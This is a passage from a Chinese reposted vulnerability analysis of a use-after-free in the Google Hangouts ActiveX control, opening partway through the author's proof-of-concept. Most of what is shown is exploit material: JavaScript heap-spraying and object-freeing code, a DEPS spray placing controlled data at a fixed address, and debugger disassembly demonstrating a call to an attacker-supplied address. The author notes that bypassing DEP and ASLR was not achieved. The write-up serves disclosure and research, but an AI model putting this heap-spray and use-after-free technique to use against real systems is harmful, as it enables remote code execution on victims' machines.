      while (junk.length < 0x80000) junk += junk;  
      for (var i = 0; i < 0x500; i++)  
      {  
           var obj = document.createElement("button");  
           obj.title = junk;  
           div_container.appendChild(obj);  
      }  
 }  
 function sdrcallback(){  
      //alert("callback function is called!"); //use this to attach debugger and bu googletalkax!DllUnregisterServer+0x6385   
      this.document.getElementById("seandiv").innerHTML = "";  
      CollectGarbage();  
      CollectGarbage();  
      CollectGarbage();  
      //spray the heap with 0x50 size objects, this will overwrite the freed chunk  
      dospray();  
      //interact with the object  
      var ver = sdr.version;  
      sdr.send("sean");  
 }  
 //prime the lfh heap  
 dospray();  
 //spray reliable so location at 0x20302228 holds our data  
 corelan_deps_spray();  
 //invoke callback function  
 sdr.onmessage = sdrcallback;  
 </script>  
 <body>  
 </body>  
 </html>

这个代码将做一个DEPS堆喷射,将内存0x20302228的值设置成0x61616161。

然后,“onmessage”中的代码将释放对象,并用相同大小(0x50字节)的对象来喷射堆。旧指针现在将指向我们分配的内存,其中包含指向0x20302228地址的指针。当访问失效指针时,将执行以下ASM代码。

 13e70ca5 8b471c     mov   eax,dword ptr [edi+1Ch]  
 13e70ca8 8b30      mov   esi,dword ptr [eax] 
 13e70caa 8d850cffffff  lea   eax,[ebp-0F4h]  
 13e70cb0 50       push  eax  
 13e70cb1 8d45e4     lea   eax,[ebp-1Ch]  
 13e70cb4 50       push  eax  
 13e70cb5 e8768e0000   call  googletalkax!DllUnregisterServer+0xf210 (13e79b30)  
 13e70cba 8b4f1c     mov   ecx,dword ptr [edi+1Ch]  
 13e70cbd 83c408     add   esp,8  
 13e70cc0 50       push  eax  
 13e70cc1 ff5604     call  dword ptr [esi+4]

Edi + 1c保存的旧指针,现在替换为我们的0x20302228指针,这被加载到eax,然后将0x20302228里的值放入ESI寄存器。值是0x6161615d,它是由DEPS喷射的。然后程序调用ESI + 4,这是一个用户提供的地址0x61616161,这证明可以执行代码。


进一步利用


下一步是将其变成一个可以完整利用的漏洞。因为DEP和ASLR,我们需要使用这个bug来创建infoleak。我花了一些时间来研究,参考

https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf  ,但我没有找到进一步利用的方法。如果您有任何想法,请与我联系讨论他们。我会非常感兴趣,把这个bug变成infoleak。


原文链接:http://pwnanisec.blogspot.be/2017/02/use-after-free-in-google-hangouts.html

未经允许不得转载:安全路透社 » 【漏洞分析】Google Hangouts ActiveX中的释放重引用漏洞

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册